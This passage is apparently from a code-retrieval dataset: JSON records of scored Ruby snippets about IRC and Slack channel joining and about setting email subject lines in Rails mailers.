join_on_connect(bot)\n @config[:channels].each{|chan|\n join_channel( bot, chan )\n }\n \n # If we are not required to do anything else, unhook\n if @config[:connect_only] then\n unregister_all(0.5) # Give my hooks half a second to disconnect\n # or unregister_hooks(0.5, :chanman_connect)\n end\n end", "title": "" }, { "docid": "576a3671bf3c02de65999647f62d10c9", "score": "0.5420134", "text": "def channels\n @format.channels\n end", "title": "" }, { "docid": "afa997a2561366c22e6b5a499c4ef287", "score": "0.54125756", "text": "def channels(options = [], cache: true)\n return @channels if cache && !@channels.nil?\n channels = @slack.channels_list\n @channels = begin\n channels[\"channels\"].map do |channel|\n add_params = options.empty? ? {} : options_to_hash(options, channel)\n { id: channel[\"id\"], name: channel[\"name\"] }.merge(add_params)\n end.sort_by {|ch| ch[:name] }\n end\n end", "title": "" }, { "docid": "6497084e86273c12e2dab56e11b49a8d", "score": "0.5412497", "text": "def global_actions(irc, real_nick = nil, bot_join = false)\n\n # Grab some maps.\n server = irc.server\n server_name = server.name\n nick = irc.from.nnick\n real_nick = nick unless real_nick\n user_map = $config[\"servers/#{server_name}/users/#{real_nick}\"]\n chan_map = $config[\"servers/#{server_name}/channels\"]\n\n # Loop through channels, if applicable.\n old_chan = irc.channel\n server.channels.each do |chan_name, chan|\n if chan.users[nick]\n irc.channel = chan\n channel_actions(irc, user_map, chan_map ? chan_map[chan_name] : nil, bot_join)\n end\n end\n irc.channel = old_chan\n\n end", "title": "" }, { "docid": "6497084e86273c12e2dab56e11b49a8d", "score": "0.5412497", "text": "def global_actions(irc, real_nick = nil, bot_join = false)\n\n # Grab some maps.\n server = irc.server\n server_name = server.name\n nick = irc.from.nnick\n real_nick = nick unless real_nick\n user_map = $config[\"servers/#{server_name}/users/#{real_nick}\"]\n chan_map = $config[\"servers/#{server_name}/channels\"]\n\n # Loop through channels, if applicable.\n old_chan = irc.channel\n server.channels.each do |chan_name, chan|\n if chan.users[nick]\n irc.channel = chan\n channel_actions(irc, user_map, chan_map ? chan_map[chan_name] : nil, bot_join)\n end\n end\n irc.channel = old_chan\n\n end", "title": "" }, { "docid": "d5464fb7ed192276d5087c82fed37b44", "score": "0.5407089", "text": "def join(*channels)\n channels.each {|channel| raw(\"JOIN #{channel}\")}\n end", "title": "" }, { "docid": "cea88927ce044b7bf0267351a1d6cd1b", "score": "0.53971434", "text": "def channels\n\t\t{\n\t\t\t\"CDUMMYDUMMY1\" => {\n\t\t\t\t\"name\" => \"xyztestxyz\", \"is_member\"=>true\n\t\t\t}\n\t\t}\n\tend", "title": "" }, { "docid": "adb7e11fe5e2ec99d033f91df3792a0a", "score": "0.5396876", "text": "def welcome(event)\n @options[:channels].each {|channel| @irc.join(channel) }\n end", "title": "" }, { "docid": "70a12ff38942c6ce691090c04f3c8711", "score": "0.53844", "text": "def on_init\n\n # Request modes from ChanServ, if needed.\n $log.puts \"Channel #{@name} joined!\"\n if (cs = $config[\"servers/#{@server.name}/channels/#{@nname}/chanserv\"])\n name = $config[\"servers/#{@server.name}/services/chanserv/name\"] || 'ChanServ'\n $log.puts \"Requesting modes from #{name}...\"\n @server.cmd('PRIVMSG', name, \"OP #{@name}\") if cs['op']\n @server.cmd('PRIVMSG', name, \"VOICE #{@name}\") if cs['voice']\n end\n\n # Call plugin hooks.\n call_hooks(:init_chan)\n\n end", "title": "" }, { "docid": "dce6ea0da1ebadf0ad06203fa5a0e07a", "score": "0.5382132", "text": "def channel; end", "title": "" }, { "docid": "dce6ea0da1ebadf0ad06203fa5a0e07a", "score": "0.5382132", "text": "def channel; end", "title": "" }, { "docid": "9fe3c683c5e81ca9862ffcbaf435c309", "score": "0.53665084", "text": "def num_channels(channels)\n @channel_ids = (0...channels).to_a\n end", "title": "" }, { "docid": "4b3789c7af3ef225a234e59dd71b4c96", "score": "0.5360046", "text": "def subscribe_all\n @config.subscriptions.size.times do\n current\n select_next_consumer\n end\n end", "title": "" }, { "docid": "cb219f058c5a2c6bb0cf3f22f82fd2a0", "score": "0.5357091", "text": "def OverrideNumChannels(chs)\n\t\t@numChannels=chs\n end", "title": "" }, { "docid": "3f87dc2a748c09fcbb1a5a4a4b0b0363", "score": "0.5356605", "text": "def channels\n return @channels\n end", "title": "" }, { "docid": "3f87dc2a748c09fcbb1a5a4a4b0b0363", "score": "0.5356605", "text": "def channels\n return @channels\n end", "title": "" }, { "docid": "078d17932d5f17fb4f5fa3c2fe97b817", "score": "0.534956", "text": "def when_channel_polled(channel); end", "title": "" }, { "docid": "90d8721c6ec4cf27877d31fde2e3b05b", "score": "0.5338246", "text": "def faye_init\n\n # The @channels variable to pass how many\n @channels = []\n\n #each user has its channel and a practice channel for regular chat\n if current_user\n @channels << current_user.username\n else #not signed in\n @channels << FAYE_DEFAULT_CHANNEL\n end\n \n #Append prefix\n @channels.collect! do |channel|\n \"#{FAYE_CHANNEL_PREFIX}#{channel}\"\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "686e1d0d778b68470345400343acfaec", "score": "0.0", "text": "def set_entries\n @pool = Pool.find(params[:pool_id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.61642385", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.60448", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5945487", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.5915654", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58330417", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776098", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703048", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703048", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5654613", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5620029", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.5423114", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.540998", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.540998", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.540998", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5393666", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53783023", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53568405", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53391176", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.5339061", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53310865", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.5312988", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529798", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52968603", "text": "def setup_handler\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.52962637", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52577317", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.5244704", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.5233461", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.52322435", "text": "def workflow\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227552", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52224743", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.5217851", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.521241", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52069896", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.5206555", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.5176617", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51738507", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51725876", "text": "def setup(resources) ; end", "title": "" }, { "docid": "1fd817f354d6cb0ff1886ca0a2b6cce4", "score": "0.51660734", "text": "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "title": "" }, { "docid": "5531df39ee7d732600af111cf1606a35", "score": "0.51605034", "text": "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "title": "" }, { "docid": "bb6aed740c15c11ca82f4980fe5a796a", "score": "0.51571786", "text": "def determine_valid_action\n\n end", "title": "" }, { "docid": "b38f9d83c26fd04e46fe2c961022ff86", "score": "0.5152762", "text": "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "title": "" }, { "docid": "199fce4d90958e1396e72d961cdcd90b", "score": "0.5152164", "text": "def startcompany(action)\n @done = true\n action.setup\n end", "title": "" }, { "docid": "994d9fe4eb9e2fc503d45c919547a327", "score": "0.5151477", "text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "title": "" }, { "docid": "62fabe9dfa2ec2ff729b5a619afefcf0", "score": "0.5145819", "text": "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51408994", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "adb8115fce9b2b4cb9efc508a11e5990", "score": "0.5134412", "text": "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "title": "" }, { "docid": "e1dd18cf24d77434ec98d1e282420c84", "score": "0.5114031", "text": "def setup(&block)\n define_method(:setup, &block)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5113695", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5113695", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5108603", "text": "def action\n end", "title": "" }, { "docid": "f54964387b0ee805dbd5ad5c9a699016", "score": "0.5107358", "text": "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "title": "" }, { "docid": "35b302dd857a031b95bc0072e3daa707", "score": "0.5090405", "text": "def config(action, *args); end", "title": "" }, { "docid": "bc3cd61fa2e274f322b0b20e1a73acf8", "score": "0.50889385", "text": "def setup\n @setup_proc.call(self) if @setup_proc\n end", "title": "" }, { "docid": "246840a409eb28800dc32d6f24cb1c5e", "score": "0.50817686", "text": "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "title": "" }, { "docid": "5c3cfcbb42097019c3ecd200acaf9e50", "score": "0.5081617", "text": "def before_action \n end", "title": "" }, { "docid": "dfbcf4e73466003f1d1275cdf58a926a", "score": "0.50658226", "text": "def action\n end", "title": "" }, { "docid": "36eb407a529f3fc2d8a54b5e7e9f3e50", "score": "0.50551206", "text": "def matt_custom_action_begin(label); end", "title": "" }, { "docid": "b6c9787acd00c1b97aeb6e797a363364", "score": "0.5051746", "text": "def setup\n # override this if needed\n end", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5049091", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "9fc229b5b48edba9a4842a503057d89a", "score": "0.5049091", "text": "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "title": "" }, { "docid": "fd421350722a26f18a7aae4f5aa1fc59", "score": "0.5034681", "text": "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "title": "" }, { "docid": "d02030204e482cbe2a63268b94400e71", "score": "0.5024972", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "title": "" }, { "docid": "4224d3231c27bf31ffc4ed81839f8315", "score": "0.5021291", "text": "def after(action)\n invoke_callbacks *options_for(action).after\n end", "title": "" }, { "docid": "24506e3666fd6ff7c432e2c2c778d8d1", "score": "0.5016024", "text": "def pre_task\n end", "title": "" }, { "docid": "0c16dc5c1875787dacf8dc3c0f871c53", "score": "0.50134826", "text": "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "title": "" }, { "docid": "c99a12c5761b742ccb9c51c0e99ca58a", "score": "0.50008893", "text": "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "title": "" }, { "docid": "0cff1d3b3041b56ce3773d6a8d6113f2", "score": "0.50000244", "text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "title": "" }, { "docid": "791f958815c2b2ac16a8ca749a7a822e", "score": "0.4999155", "text": "def setup_signals; end", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.49907947", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "6e44984b54e36973a8d7530d51a17b90", "score": "0.49907947", "text": "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "title": "" }, { "docid": "5aa51b20183964c6b6f46d150b0ddd79", "score": "0.49853387", "text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "title": "" }, { "docid": "67e7767ce756766f7c807b9eaa85b98a", "score": "0.49796683", "text": "def after_set_callback; end", "title": "" }, { "docid": "7647b99591d6d687d05b46dc027fbf23", "score": "0.4979596", "text": "def initialize(*args)\n super\n @action = :set\nend", "title": "" }, { "docid": "2a2b0a113a73bf29d5eeeda0443796ec", "score": "0.49778128", "text": "def setup\n #implement in subclass;\n end", "title": "" }, { "docid": "63e628f34f3ff34de8679fb7307c171c", "score": "0.49673793", "text": "def lookup_action; end", "title": "" }, { "docid": "a5294693c12090c7b374cfa0cabbcf95", "score": "0.49662578", "text": "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "title": "" }, { "docid": "57dbfad5e2a0e32466bd9eb0836da323", "score": "0.49587822", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "5b6d613e86d3d68152f7fa047d38dabb", "score": "0.4956063", "text": "def release_actions; end", "title": "" }, { "docid": "4aceccac5b1bcf7d22c049693b05f81c", "score": "0.49550167", "text": "def around_hooks; end", "title": "" }, { "docid": "64e0f1bb6561b13b482a3cc8c532cc37", "score": "0.49523485", "text": "def setup(easy)\n super\n easy.customrequest = @verb\n end", "title": "" }, { "docid": "2318410efffb4fe5fcb97970a8700618", "score": "0.4951614", "text": "def save_action; end", "title": "" }, { "docid": "fbd0db2e787e754fdc383687a476d7ec", "score": "0.49452996", "text": "def action_target()\n \n end", "title": "" }, { "docid": "b280d59db403306d7c0f575abb19a50f", "score": "0.49442068", "text": "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "title": "" }, { "docid": "9f7547d93941fc2fcc7608fdf0911643", "score": "0.49336892", "text": "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "title": "" }, { "docid": "da88436fe6470a2da723e0a1b09a0e80", "score": "0.49306205", "text": "def before_setup\n # do nothing by default\n end", "title": "" }, { "docid": "3ba85f3cb794f951b05d5907f91bd8ad", "score": "0.49264124", "text": "def setup(&blk)\n @setup_block = blk\n end", "title": "" }, { "docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd", "score": "0.49259305", "text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "title": "" }, { "docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3", "score": "0.4925823", "text": "def default_action; end", "title": "" }, { "docid": "80834fa3e08bdd7312fbc13c80f89d43", "score": "0.49229056", "text": "def callback_phase\n super\n end", "title": "" }, { "docid": "f1da8d654daa2cd41cb51abc7ee7898f", "score": "0.4918999", "text": "def advice\n end", "title": "" }, { "docid": "99a608ac5478592e9163d99652038e13", "score": "0.49171805", "text": "def _handle_action_missing(*args); end", "title": "" }, { "docid": "6e0842ade69d031131bf72e9d2a8c389", "score": "0.49167436", "text": "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "title": "" }, { "docid": "9e264985e628b89f1f39d574fdd7b881", "score": "0.4916559", "text": "def duas1(action)\n action.call\n action.call\nend", "title": "" }, { "docid": "0dccebcb0ecbb1c4dcbdddd4fb11bd8a", "score": "0.49153692", "text": "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "title": "" }, { "docid": "0fe8b3b5573f8eb57ec1752658a62e4e", "score": "0.49148256", "text": "def call\n setup_context\n super\n end", "title": "" } ]
fd26a7a088702408066069d826a093d0
Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.system_mailer.contact_message.subject
[ { "docid": "8f686f1ed3251e01d3cd620c8ec7bdbc", "score": "0.5876698", "text": "def contact_message(contact, store, email)\n @contact = contact\n @store = store\n\n mail(to: email, subject: 'Thanks for contact us')\n end", "title": "" } ]
[ { "docid": "8780eaf874a22b8575f2c8ae110d8df9", "score": "0.7878423", "text": "def message_subject=(value)\n @message_subject = value\n end", "title": "" }, { "docid": "f3c6c5e6185dd926ede5b19d88f3b473", "score": "0.74747044", "text": "def subject (recipient)\n subject_variables = alert_variables[:subject].dup\n subject_variables.merge!(recipient_details(recipient))\n subject = \"#{I18n.t(\"#{recipient_type.to_s}_subject_#{alert_name.to_s}\", subject_variables)}\"\n subject\n end", "title": "" }, { "docid": "204b69b8a21eae6128636fcbf881e6a5", "score": "0.74340206", "text": "def subject\n @subject ||= Envelope::MessageTools.normalize(message.subject || '')\n end", "title": "" }, { "docid": "a081976746494bbddb550849c6e6cf2e", "score": "0.7226464", "text": "def subject\n self['subject'] || msg['subject']\n end", "title": "" }, { "docid": "d2f26cb27e81ae8b03fd141a0f231955", "score": "0.7027951", "text": "def subject=(subject); @message_impl.setSubject subject; end", "title": "" }, { "docid": "ad071d6c229bdd849fadf58a4a083db3", "score": "0.70264184", "text": "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end", "title": "" }, { "docid": "3acc903e7145b27fb782c510a8600059", "score": "0.69511753", "text": "def message_subject\n return @message_subject\n end", "title": "" }, { "docid": "b96af7031f0041ab8c83692aa21c2d65", "score": "0.69451874", "text": "def subject\n @mail.subject\n end", "title": "" }, { "docid": "20df65b2b955b425aa84acb470231150", "score": "0.6784205", "text": "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "title": "" }, { "docid": "20df65b2b955b425aa84acb470231150", "score": "0.6783464", "text": "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "title": "" }, { "docid": "998901594800e389ec7dd2bbe7dff314", "score": "0.67409366", "text": "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "title": "" }, { "docid": "998901594800e389ec7dd2bbe7dff314", "score": "0.67391527", "text": "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "title": "" }, { "docid": "bb64d8e70562844846ba99974c215270", "score": "0.6648607", "text": "def translate(mapping, key)\n I18n.t(:\"notifications_subject\", :scope => [:eventifier, :notifications, key],\n :default => [:subject, key.to_s.humanize])\n end", "title": "" }, { "docid": "bd1a30d7684555f505953edd1b57298e", "score": "0.65892726", "text": "def subject=(string)\n set('Subject', string)\n end", "title": "" }, { "docid": "50b88c8683794b7fd2cc5e6e5a0c9169", "score": "0.6577985", "text": "def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end", "title": "" }, { "docid": "655cc36cef07906df99c8909cb7c6859", "score": "0.654823", "text": "def subject\n message.subject\n end", "title": "" }, { "docid": "a6c41872575e4c9aaabbbbffc6e19366", "score": "0.65350574", "text": "def subject() self.headers[\"Subject\"] || \"[NO SUBJECT]\" end", "title": "" }, { "docid": "0f7b5205c16c31353aec0a793cf51015", "score": "0.6526613", "text": "def subject\n @subject ||= \"(sans sujet)\"\n if @no_header_subject.nil?\n \"#{header_subject}#{@subject}\"\n else\n @subject\n end\n end", "title": "" }, { "docid": "533ebbe0f111839f521faeb5b9ebeeb4", "score": "0.65173435", "text": "def subject_name=(value)\n @subject_name = value\n end", "title": "" }, { "docid": "7448bdc87fb3cb4cccd7115d6d173ac5", "score": "0.65049267", "text": "def subject_for(template, attributes = {})\n subject = EmailTemplate.subject_for(template)\n subject = I18n.t(\"email_templates.#{template}.default_subject\") if subject.nil?\n subject = \"No Subject\" if subject.nil?\n Florrick.convert(subject, add_default_attributes(attributes))\n end", "title": "" }, { "docid": "7333e31c6268c86fc82e97d462c85d54", "score": "0.64550495", "text": "def subject; @message_impl.getSubject; end", "title": "" }, { "docid": "5177dc8f294e10dc40030ea1505fcbf1", "score": "0.6447102", "text": "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "title": "" }, { "docid": "5177dc8f294e10dc40030ea1505fcbf1", "score": "0.6447102", "text": "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "title": "" }, { "docid": "5177dc8f294e10dc40030ea1505fcbf1", "score": "0.6447102", "text": "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "title": "" }, { "docid": "5177dc8f294e10dc40030ea1505fcbf1", "score": "0.6447102", "text": "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "title": "" }, { "docid": "5d92b57c39efa2025e88c67bb1cd4c31", "score": "0.6392545", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "5d92b57c39efa2025e88c67bb1cd4c31", "score": "0.6392545", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "5d92b57c39efa2025e88c67bb1cd4c31", "score": "0.6392545", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "5d92b57c39efa2025e88c67bb1cd4c31", "score": "0.6392545", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "5d92b57c39efa2025e88c67bb1cd4c31", "score": "0.6392545", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "5d92b57c39efa2025e88c67bb1cd4c31", "score": "0.6392545", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "5d92b57c39efa2025e88c67bb1cd4c31", "score": "0.6392545", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, { "docid": "5d92b57c39efa2025e88c67bb1cd4c31", "score": "0.6392545", "text": "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "title": "" }, 